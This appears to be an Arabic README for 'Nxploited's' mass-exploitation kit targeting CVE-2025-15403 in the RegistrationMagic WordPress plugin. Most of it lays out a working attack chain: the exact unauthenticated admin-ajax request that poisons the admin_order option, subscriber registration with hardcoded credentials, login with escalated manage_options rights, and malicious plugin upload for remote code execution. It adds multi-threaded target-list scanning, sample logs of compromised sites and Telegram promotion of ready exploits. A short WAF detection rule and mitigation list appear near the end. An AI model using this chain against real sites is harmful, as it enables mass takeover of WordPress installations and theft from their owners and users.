
RegistrationMagic <= 6.0.7.1 - تصعيد امتياز غير مصرح به عبر admin_order
RegistrationMagic <= 6.0.7.1 - تصعيد صلاحيات غير مصادق عليه عبر admin_order
,-. . , ,--. ,-. ,-. ,-. ;--' , ;--' ,. ,-. ,--,
/ | / | ) / /\ ) | '| | / | / /\ /
| | / |- --- / | / | / `-. --- | `-. '--| | / | `.
\ |/ | / \/ / / ) | ) | \/ / )
`-' ' `--' '--' `-' '--' `-' ' `-' ' `-' `-'
📡 المعلومات الاستخباراتية تُنشر هنا أولاً. تابع @KNxploited على تيليغرام — كشف دقيق لثغرات CVE، واستغلالات جاهزة، وأبحاث متعمقة في الثغرات الأمنية. القناة لمن لا ينتظر الأخبار — بل يصنعها.
CVE-2025-15403 هي ثغرة حرجة بتصنيف CVSS 9.8 لتصعيد الصلاحيات في إضافة RegistrationMagic لووردبريس.
يكمن الخلل في دالة add_menu الخاصة بالإضافة، والتي يمكن الوصول إليها بدون مصادقة عبر إجراء AJAX rm_user_exists. عن طريق حقن سلاش فارغ في باراميتر order إلى جانب علامة enable_admin_order=yes، يتمكن المهاجم من التلاعب بمنطق توليد القوائم الداخلية للإضافة. وعند بناء قائمة المشرف لاحقًا، تقوم الإضافة بصمت باستدعاء add_cap('manage_options') على الدور المستهدف — مما يرفع أي حساب من مستوى المشترك إلى صلاحية إدارية كاملة.
السبب الجذري هو قابلية الوصول إلى دالة add_menu بدون مصادقة من خلال rm_user_exists، بالإضافة إلى عدم التحقق من صحة سلاش admin_order:
// مسجلة بدون فحص صلاحية
add_action('wp_ajax_nopriv_rm_user_exists', [$this, 'rm_user_exists_handler']);
public function rm_user_exists_handler() {
$slug = sanitize_text_field($_POST['rm_slug']);
$order = $_POST['order']; // ← يتحكم به المستخدم، غير منسَّق
$role_key = /* مستخرج من POST */;
$enable = $_POST['enable_admin_order'];
if ($slug === 'rm_options_admin_menu' && $enable === 'yes') {
// يخزن ترتيبًا يتحكم به المهاجم في خيارات الإضافة
update_option('rm_admin_order', $order); // مثلا ",menu1" → سلاش فارغ أول
}
}
// لاحقًا، عند بناء قائمة المشرف...
public function add_menu() {
$order = get_option('rm_admin_order'); // ← مسموم من المهاجم
$slugs = explode(',', $order);
foreach ($slugs as $slug) {
if (empty($slug)) {
// السلاش الفارغ يؤدي إلى منح صلاحية غير مشروطة
$role->add_cap('manage_options'); // ← تمت إضافة صلاحية إدارية كاملة
}
}
}
لماذا هذا حرج:
wp_ajax_nopriv_* يعني صفر مصادقة مطلوبة لتسميم الخيارorder=,menu1 يجتاز فحص empty()، مما يؤدي إلى استدعاء add_cap('manage_options')manage_options هي أعلى صلاحية في ووردبريس — تعادل المسؤول╔══════════════════════════════════════════════════════════════════════════╗
║ المرحلة 1 — تسميم الخيار بدون مصادقة ║
╚══════════════════════════════════════════════════════════════════════════╝
POST /wp-admin/admin-ajax.php
action = rm_user_exists
rm_slug = rm_options_admin_menu
order = ,menu1 ← عنصر أول فارغ = سلاش فارغ
_Subscriber = 1 ← مفتاح الدور المستهدف
restore = false
enable_admin_order= yes
الرد: HTTP 200 (أي رد غير محظور يعني أن الخيار قد سُمّم)
↓ تقوم الإضافة بتخزين order=",menu1" في wp_options
↓ بناء قائمة المشرف التالي يؤدي إلى استدعاء add_cap('manage_options') على دور المشترك
╔══════════════════════════════════════════════════════════════════════════╗
║ المرحلة 2 — الحصول على حساب (مشترك) ║
╚══════════════════════════════════════════════════════════════════════════╝
الخيار أ — التسجيل عبر نموذج تسجيل الموقع (الوضع 0):
GET /wp-login.php?action=register → كشف ذكي للنموذج
POST → إنشاء حساب مشترك
بيانات الدخول: NXploited / xplpass123
الخيار ب — استخدام حساب مشترك موجود.
╔══════════════════════════════════════════════════════════════════════════╗
║ المرحلة 3 — تسجيل الدخول + جني الصلاحيات ║
╚══════════════════════════════════════════════════════════════════════════╝
POST /wp-login.php
log = NXploited
pwd = xplpass123
↓
حساب المشترك الآن يحمل manage_options → لوحة تحكم المسؤول الكاملة متاحة
╔══════════════════════════════════════════════════════════════════════════╗
║ المرحلة 4 — تحقق عميق وتنفيذ أكواد (RCE) عبر رفع إضافة ║
╚══════════════════════════════════════════════════════════════════════════╝
GET /wp-admin/ → لوحة تحكم المسؤول متاحة ✔️
GET /wp-admin/plugin-install.php → صفحة تثبيت الإضافات متاحة ✔️
POST /wp-admin/update.php?action=upload-plugin
pluginzip = Nxploited.zip → تم رفع وتنفيذ الإضافة ✔️
GET /wp-content/plugins/Nxploited/hello.php
الرد يحتوي على "Nxploited" → تأكيد تنفيذ الأكواد (RCE) ✔️
توفر مجموعة الاستغلال هذه ثلاثة أوضاع متميزة لتغطية دورة الهجوم الكاملة:
pip install requests colorama urllib3
مطلوب Python 3.8+. يُوصى بـ Python 3.10+ (يستخدم تلميحات الاتحاد
X | Y).
CVE-2025-15403/
├── CVE-2025-15403.py # مجموعة الاستغلال الرئيسية
├── list.txt # عناوين URL المستهدفة — عنوان واحد لكل سطر
│
├── rm_register_results.txt # الوضع 0: عمليات التسجيل الناجحة
├── rm_exploit_results.txt # الوضعين 1 & 2: سجل إطلاق البدائية
├── rm_admin_verify.txt # الوضع 2: سجل الدخول + التحقق من المسؤول
├── rm_plugin_uploads.txt # الوضع 2: سجل محاولات رفع الإضافات
│
├── rm_admin_dashboard_success.txt # ✔ المواقع التي تم تأكيد لوحة تحكم المسؤول فيها
├── rm_plugin_install_access.txt # ✔ المواقع التي يمكن الوصول لصفحة تثبيت الإضافات فيها
└── rm_plugin_rce_success.txt # ✔ المواقع التي تم تأكيد RCE عبر رفع إضافة فيها
ملفات
_successالثلاثة في الأسفل تمثل مستويات اختراق متدرجة — كل منها يُكتب بشكل مستقل بمجرد تأكيد حالته.
أنشئ list.txt بحيث يحتوي على عنوان URL أو اسم مضيف واحد لكل سطر:
https://target1.com
https://target2.com
http://target3.com/wordpress
target4.com
أسماء المضيفين بدون مخطط (scheme) تُسبق تلقائيًا بـ
https://. تثبيتات ووردبريس في مجلدات فرعية (مثل/wordpress) يتم كشفها ومعالجتها تلقائيًا.
python CVE-2025-15403.py
سيُطلب منك تفاعليًا جميع المعاملات. مثال لجلسة الوضع 2:
Select mode (0 = register, 1 = exploit, 2 = exploit+verify) [0]: 2
Targets list file (one host/URL per line) [list.txt]: list.txt
Threads (concurrent sites) [5]: 20
HTTP timeout (seconds) [10]: 12
Role key to escalate (e.g. _Subscriber, _Editor) [_Subscriber]: _Subscriber
Username to login with (e.g. NXploited) [NXploited]: NXploited
Password for that user [xplpass123]: xplpass123
Output file for admin verification [rm_admin_verify.txt]: rm_admin_verify.txt
Output file for plugin upload tests [rm_plugin_uploads.txt]: rm_plugin_uploads.txt
Send primitive before login in mode 2? (yes/no) [yes]: yes
[14:31:01] info | Mode 2: Exploit + Login + Deep Verify | Targets: 200
[14:31:02] SESSION | https://target.com | PRIM: OK | REG: SKIP | LOGIN: OK | ACCESS: admin_full_plugin_upload
[14:31:03] SESSION | https://target2.com | PRIM: OK | REG: SKIP | LOGIN: FAIL | ACCESS: bad_credentials
[14:31:04] SESSION | https://target3.com | PRIM: FAIL | REG: SKIP | LOGIN: - | ACCESS: NO HIT
rm_admin_dashboard_success.txtالمواقع التي تمكن حساب المشترك فيها من الوصول إلى /wp-admin/ بعد تصعيد الصلاحيات:
[2025-04-18 14:31:02] https://victim.com - NXploited:xplpass123 - ADMIN_DASHBOARD - verify_admin_dashboard
rm_plugin_install_access.txtالمواقع التي كانت صفحة تثبيت الإضافات متاحة فيها (تأكيد manage_options):
[2025-04-18 14:31:02] https://victim.com - NXploited:xplpass123 - PLUGIN_INSTALL_ACCESS=https://victim.com/wp-admin/plugin-install.php?tab=upload - plugin-install-access
rm_plugin_rce_success.txtالمواقع التي تم رفع وتنفيذ إضافة اختبارية فيها — تأكيد RCE:
[2025-04-18 14:31:05] https://victim.com - NXploited:xplpass123 - PLUGIN_RCE=https://victim.com/wp-content/plugins/Nxploited/hello.php - AdminUpload
يقوم الوضع 2 بـ تحقق متدرج من ثلاث مراحل — كل مرحلة مستقلة وتكتب ملف النتائج الخاص بها:
المرحلة 1 — لوحة تحكم المسؤول
GET /wp-admin/
GET /wp-admin/index.php
GET /wp-admin/users.php
التحقق من وجود: "dashboard", "adminmenu", "manage_options", "plugins.php"
✔ → يكتب إلى rm_admin_dashboard_success.txt
المرحلة 2 — الوصول لصفحة تثبيت الإضافات
GET /wp-admin/plugin-install.php
GET /wp-admin/plugin-install.php?tab=upload
التحقق من وجود: "upload-plugin", "plugin-upload-form", "pluginzip"
✔ → يكتب إلى rm_plugin_install_access.txt
المرحلة 3 — رفع وتنفيذ إضافة حقيقية (إثبات RCE)
استخراج _wpnonce من صفحة تثبيت الإضافات
POST /wp-admin/update.php?action=upload-plugin
pluginzip = Nxploited.zip (مُولّد في الذاكرة)
GET /wp-content/plugins/Nxploited/hello.php
التحقق من أن جسم الرد يحتوي على "Nxploited"
✔ → يكتب إلى rm_plugin_rce_success.txt
كل مرحلة تنجح تُسجَّل بشكل مستقل — الهدف الذي يجتاز المرحلة 1 ولكن ليس المرحلة 3 لا يزال يُحتجز في rm_admin_dashboard_success.txt.
يستخدم الوضع 0 محلّل نماذج HTML مخصصًا لكشف وإرسال نماذج تسجيل ووردبريس تلقائيًا — بما في ذلك نماذج RegistrationMagic المخصصة:
عناوين URL الاستكشافية (بالترتيب):
/wp-login.php?action=register
/register/
/signup/
/wp-signup.php
/wp-login.php
لكل صفحة:
→ تحليل جميع عناصر <form>
→ تسجيل نقاط لكل نموذج (0–200 نقطة):
+100 وجود حقلي "user_login" و "user_email"
+ 60 وجود حقول شبيهة بالبريد الإلكتروني واسم المستخدم
+ 30 حقول إدخال مسبوقة بـ rm_* (خاصة بـ RegistrationMagic)
+ 20 id/class النموذج يحتوي على "register" / "signup"
+ 10 نص الصفحة يذكر "register" / "sign up"
→ إرسال النموذج الأعلى نقاطًا (الحد الأدنى: 40+)
→ التحقق من النجاح عبر جسم الرد / عنوان URL إعادة التوجيه
النمط الشبكي الناتج عن الاستغلال — للمدافعين ومؤلفي أنظمة WAF/IDS:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=rm_user_exists&rm_slug=rm_options_admin_menu&order=%2Cmenu1&_Subscriber=1&restore=false&enable_admin_order=yes
قاعدة WAF / IDS (شبه كود):
IF request.method == POST
AND request.path == "/wp-admin/admin-ajax.php"
AND request.body CONTAINS "rm_user_exists"
AND request.body CONTAINS "rm_options_admin_menu"
AND request.body CONTAINS "enable_admin_order=yes"
THEN BLOCK + ALERT (محاولة تصعيد صلاحيات — CVE-2025-15403)
كشف إضافي — تسميم الخيار:
مراقبة جدول wp_options:
IF option_name = "rm_admin_order"
AND option_value يبدأ بـ ","
THEN تنبيه — احتمال استغلال CVE-2025-15403
إذا كنت مالك موقع، مطور، أو مدافع، تحرك فورًا:
wp_options — افحص قيمة rm_admin_order بحثًا عن إدخالات مشبوهة (مثلًا تبدأ بـ ,)manage_optionswp_ajax_nopriv_* — لا تعرّض أبدًا دوال كتابة الخيارات بدون مصادقةorder — ارفض القيم التي تحتوي على أجزاء سلاش فارغةadmin-ajax.php التي تحتوي على rm_options_admin_menu على مستوى WAFrm_user_exists من مصادر غير مصادق عليهاهذه الأداة مقدمة بدقة لأغراض تعليمية واختبار الاختراق المصرح به
والبحث الأمني فقط.
بتنزيل أو تنفيذ أو تعديل هذا السكريبت، فإنك توافق صراحة على:
• أنك تحمل إذنًا صريحًا وخطيًا من مالك كل نظام تستهدفه.
لا استثناءات. لا افتراضات.
• أنك تعمل ضمن نطاق رسمي ومصرح به لاختبار الاختراق
أو بيئة مختبر خاضعة للرقابة تمتلكها.
• أنك لن تنشر هذه الأداة ضد أي نظام أو شبكة أو
بنية تحتية دون إذن قانوني موثق.
• Nxploited وجميع المساهمين لا يتحملون أي مسؤولية عن
الاستخدام غير المصرح به، أو فقدان البيانات، أو تلف النظام، أو الإجراءات القانونية، أو الملاحقة الجنائية
الناشئة عن استخدام هذه الأداة بأي شكل من الأشكال.
الاستخدام غير المصرح به لهذا الاستغلال يشكل جريمة جنائية بموجب:
— قانون الاحتيال وإساءة استخدام الحاسوب (CFAA)، الولايات المتحدة
— قانون إساءة استخدام الحاسوب (CMA)، المملكة المتحدة
— توجيه الاتحاد الأوروبي 2013/40/EU بشأن الهجمات ضد نظم المعلومات
— قانون مكافحة الجرائم الإلكترونية السعودي (رقم م/17)
— وجميع التشريعات الوطنية والدولية المكافئة لمكافحة الجرائم الإلكترونية.
استخدم بمسؤولية. اخترق أخلاقيًا. افصح بمسؤولية.
| الاسم الحركي | Nxploited |
| تيليغرام | @KNxploited |
| GitHub | github.com/Nxploited |
🔔 تابع @KNxploited على تيليغرام ثغرات CVE جديدة. استغلالات جاهزة. لا ضوضاء. لا تأخير. القناة حيث يبقى الباحثون الجادون على أهبة الاستعداد.
| الحقل | التفاصيل |
|---|
| معرّف CVE | CVE-2025-15403 |
| الإضافة | RegistrationMagic |
| السلاش | registrationmagic / custom-registration-form-builder-with-submission-manager |
| الإصدارات المتأثرة | جميع الإصدارات حتى 6.0.7.1 شاملاً |
| نوع الثغرة | تصعيد صلاحيات بدون مصادقة |
| متطلبات الهجوم | مرحلة AJAX: لا شيء. الاستغلال: حساب مشترك |
| متجه الهجوم | الشبكة |
| درجة CVSS 3.1 | 9.8 حرجة |
| متجه CVSS | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| الأثر | سيطرة كاملة على ووردبريس كمسؤول |
| الباحث | Nxploited |
| الوضع | الاسم | الوصف |
|---|
0 | تسجيل فقط | كشف ذكي لنماذج ووردبريس + تسجيل حساب مشترك |
1 | استغلال فقط | إطلاق البدائية AJAX غير المصادق عليها لتسميم admin_order |
2 | استغلال + دخول + تحقق | سلسلة كاملة: بدائية → دخول → لوحة تحكم المسؤول → تثبيت إضافة → RCE |
| التبعية | الغرض |
|---|
requests | جلسات HTTP، التعامل مع الكوكيز، تتبع إعادة التوجيه |
colorama | إخراج طرفية ملون عبر المنصات |
urllib3 | إخفاء تحذيرات SSL للشهادات الذاتية التوقيع |
concurrent.futures | تجمع خيوط للمسح متعدد الأهداف عالي الإنتاجية |
zipfile | توليد ملف ZIP لإضافة اختبارية في الذاكرة للتحقق من RCE |
html.parser | كشف ذكي لنماذج التسجيل واستخراج الحقول |
| اللون | العلامة | المعنى |
|---|
| 🔵 سماوي | info | معلوماتي — بداية الوضع، الإعدادات |
| 🟢 أخضر | ok | نجاح كامل — تم تأكيد صلاحية المسؤول أو RCE |
| 🟡 أصفر | warn | نتيجة جزئية — البدائية ناجحة لكن فشل الدخول، إلخ. |
| 🔴 أحمر | err | فشل صارم — ملف غير موجود، استثناء، محظور |
| المعامل | الافتراضي | الوصف |
|---|
| الوضع (Mode) | 0 | وضع الهجوم: 0 = تسجيل، 1 = استغلال، 2 = سلسلة كاملة |
| ملف الأهداف | list.txt | ملف يحتوي على عناوين URL المستهدفة |
| عدد الخيوط | 5 (لا حد أقصى ثابت) | عدد عمال ThreadPoolExecutor المتزامنين |
| المهلة (Timeout) | 10 ثوانٍ | مهلة طلب HTTP لكل طلب |
| مفتاح الدور | _Subscriber | دور ووردبريس لتصعيده (_Editor, _Author, إلخ.) |
| اسم المستخدم | NXploited | الحساب للتسجيل / الدخول به |
| كلمة المرور | xplpass123 | كلمة مرور الحساب |
| إرسال البدائية | yes | ما إذا كان سيتم إطلاق مرحلة AJAX قبل الدخول في الوضع 2 |